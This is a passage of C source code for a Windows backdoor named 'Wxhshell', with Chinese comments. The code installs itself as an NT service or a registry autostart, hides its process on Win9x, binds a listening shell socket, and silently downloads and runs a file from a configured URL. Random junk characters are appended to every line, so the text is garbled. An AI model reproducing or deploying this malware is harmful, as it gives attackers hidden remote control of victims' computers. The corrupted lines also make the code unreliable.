static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /hci\-8N~
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?5~!i9pY
s]x2DH+_
HANDLE hProcess; j|4tiv>
PROCESS_BASIC_INFORMATION pbi; L82NP)St
x#
8IZ
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h48 bb.p2
if(NULL == hInst ) return 0; E .;io*0
F#1kZ@nq
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {B^pnLc
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kI+b <$:D
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Qp+lJAY
q/'MS[C
if (!NtQueryInformationProcess) return 0; Au=kSSB
yJ J8"s~i
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X_?%A54z?
if(!hProcess) return 0; az
bUc4M
Z;J`5=TS
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e"_"vbk
rWe
8D/oc
CloseHandle(hProcess); SALCuo"L
{ _X#fq0}
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vnZ/tF
if(hProcess==NULL) return 0; Y6;@ /[_
=,E'~P
HMODULE hMod; a71}y;W
char procName[255]; Y3M','H([
unsigned long cbNeeded; K~JC\a\0
OR~G Ov|
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (WMLNv
G5+]DogS
CloseHandle(hProcess); 7b,AQ9
i n?T]}
if(strstr(procName,"services")) return 1; // 以服务启动 Gx|Dql
SyB-iQn
return 0; // 注册表启动 ._(z~3s
} UP*yeT,P,
u[J7Y
// 主模块 Y-7.Vjt^
int StartWxhshell(LPSTR lpCmdLine) x`3.Wu\
{ R\
e#$"a5
SOCKET wsl; 4ioNA/E
BOOL val=TRUE; d#Wn[h$"
int port=0; ;]u1~
struct sockaddr_in door; w6v1 q:20
KM@`YV_"g
if(wscfg.ws_autoins) Install(); yh$ ~*UV
?a8nz, zb
port=atoi(lpCmdLine); 4sQ~&@[Q+
Bf(Mot^
if(port<=0) port=wscfg.ws_port; 04[)qPPS
dcR6KG 8
WSADATA data; G`WzJS*}v
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #nDL
5Wl,J _<F
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; (ai72#nFtb
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C64eDX^
door.sin_family = AF_INET; s9kTuhoK
door.sin_addr.s_addr = inet_addr("127.0.0.1"); wEv*1y4
door.sin_port = htons(port); rl41#6
a6 * Y%?
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P^n{Y~P=Q
closesocket(wsl); |:/ @t
return 1; 9XY|V<}
} "$4hv6 s
BiI{8`M!$x
if(listen(wsl,2) == INVALID_SOCKET) { B~e7w 4
closesocket(wsl); U(8I+xZ
return 1; B=^2g}mgK
} ?({Pc F/
Wxhshell(wsl); B1HQz@^
WSACleanup(); >4#tkv>S.
d`<#}-nh
return 0; 2/UI>@By
bsD'\
} #d$d&W~gE
<vO8_2,V-
// 以NT服务方式启动 7dsnv)(v
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ws na5D6i
{ L5TNsLx (
DWORD status = 0; '1qAZkz
DWORD specificError = 0xfffffff; (
/
G)"]
~F=#}6kg_
serviceStatus.dwServiceType = SERVICE_WIN32; 8UlB~fVg
serviceStatus.dwCurrentState = SERVICE_START_PENDING; .Wd.)^?
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JO]`LF]
serviceStatus.dwWin32ExitCode = 0; ByC1I.B`
serviceStatus.dwServiceSpecificExitCode = 0; WJBW: 2=;
serviceStatus.dwCheckPoint = 0; J>/Ci\OB
serviceStatus.dwWaitHint = 0; OcLg3.:L
upZYv~Sa
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pC55Ec<
if (hServiceStatusHandle==0) return; lxr@[VQ
1\=pPys)
status = GetLastError(); l6yB_M
if (status!=NO_ERROR) U3(L.8(sA
{ 8rnb
serviceStatus.dwCurrentState = SERVICE_STOPPED; )sMAhk|
serviceStatus.dwCheckPoint = 0; AW]("pt
serviceStatus.dwWaitHint = 0; \>w@=bq26
serviceStatus.dwWin32ExitCode = status; EgkZ$ah
serviceStatus.dwServiceSpecificExitCode = specificError; G >I.
SetServiceStatus(hServiceStatusHandle, &serviceStatus); s}z(|IrH
return; 5Q2TT $P
} <7@mg/T
W8\PCXnsfl
serviceStatus.dwCurrentState = SERVICE_RUNNING; *_}IeNc
serviceStatus.dwCheckPoint = 0; LS*{]@8q
serviceStatus.dwWaitHint = 0; Sj,4=a
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m3h2/}%9`
} 1"*Nb5s
U1OLI]P
// 处理NT服务事件,比如:启动、停止 IiYuUN1D
VOID WINAPI NTServiceHandler(DWORD fdwControl) '|h./.K
{ Oct\He\.
switch(fdwControl) 8HHgN`_
{ ksxO<Y
case SERVICE_CONTROL_STOP: S"I#>^
serviceStatus.dwWin32ExitCode = 0; )1X' W
serviceStatus.dwCurrentState = SERVICE_STOPPED; xP<H,og&x=
serviceStatus.dwCheckPoint = 0; z{7,.S
u
serviceStatus.dwWaitHint = 0; <VauJB*R
{ #S/pYP`7
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ft*G*.0kO
} rPrEEWS0)
return; iT)2 ?I6!
case SERVICE_CONTROL_PAUSE: WW,r9D:/
serviceStatus.dwCurrentState = SERVICE_PAUSED; ]l9,t5Y
break; s\F EA"w/
case SERVICE_CONTROL_CONTINUE: ROlzs}
serviceStatus.dwCurrentState = SERVICE_RUNNING; 38zR\@'j]4
break; :y<Cd[/
case SERVICE_CONTROL_INTERROGATE: <S:,`v&Z
break; n0
fF,?gm
}; =6L:Ix
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^D>/wX\u
} {H~8'K-
P:bVcta9g
// 标准应用程序主函数 o3(|FN
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A3<P li
{ q70YNk}
+J}k_'4&
// 获取操作系统版本 n?7hp%}
OsIsNt=GetOsVer(); Yg]FF`{p=
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;$k?&nhY
[57V8%
// 从命令行安装 J~nJpUyP*
if(strpbrk(lpCmdLine,"iI")) Install(); $!
fz~
AVdd?Ew
// 下载执行文件 o} bj!h]N
if(wscfg.ws_downexe) { #I*ht0++
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7csl1|U
WinExec(wscfg.ws_filenam,SW_HIDE); /3"e3{uy
} oIu,rjb
z}Mb4{d1
if(!OsIsNt) { '/]fZ|
// 如果时win9x,隐藏进程并且设置为注册表启动 ! X#3w-K
HideProc(); PgGrk5;
StartWxhshell(lpCmdLine); e!L sc3@
} %te'J G<
else ,<Do ^HB/
if(StartFromService()) >cU*D:
// 以服务方式启动 iNaC ZC
StartServiceCtrlDispatcher(DispatchTable); %WXVfkD
else AQ_#uxI'oa
// 普通方式启动 3n=O8Fp
StartWxhshell(lpCmdLine); !W6
*N&^bF"SF
return 0; Yg:74; .
}